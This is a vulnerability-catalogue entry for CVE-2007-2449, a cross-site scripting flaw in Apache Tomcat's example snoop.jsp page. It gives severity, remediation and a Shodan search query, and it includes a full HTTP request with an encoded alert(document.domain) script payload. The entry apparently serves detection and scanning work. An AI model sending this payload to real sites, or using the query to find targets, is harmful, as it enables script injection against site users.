🔙 목록으로 돌아가기

CVE-2007-2449: Apache Tomcat 4.x-7.x - Cross-Site Scripting

TitleApache Tomcat 4.x-7.x - Cross-Site Scripting
Authorpdteam,ritikchaddha
SeverityMedium
ImpactAttackers can execute arbitrary scripts in victim browsers, leading to session hijacking, defacement, or redirection.
RemediationApply the latest security patches and updates from the vendor to address this vulnerability.
CVSS Score7.2
EPSS Score0.80643
CWE IDCWE-79
Shodan Querytitle:"Apache Tomcat"
Tags cve cve2007 apache misconfig tomcat xss vuln

🔍 Vulnerability Description

Apache Tomcat 4.x through 7.x contains a cross-site scripting vulnerability which an attacker can use to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.

🌐 HTTP Request

GET /examples/jsp/snp/snoop.jsp;%3Cscript%3Ealert%28document.domain%29%3C/script%3Etest.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2007/CVE-2007-2449.yaml

🦈 Packet Capture: ⬇️ Download cve-2007-2449.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A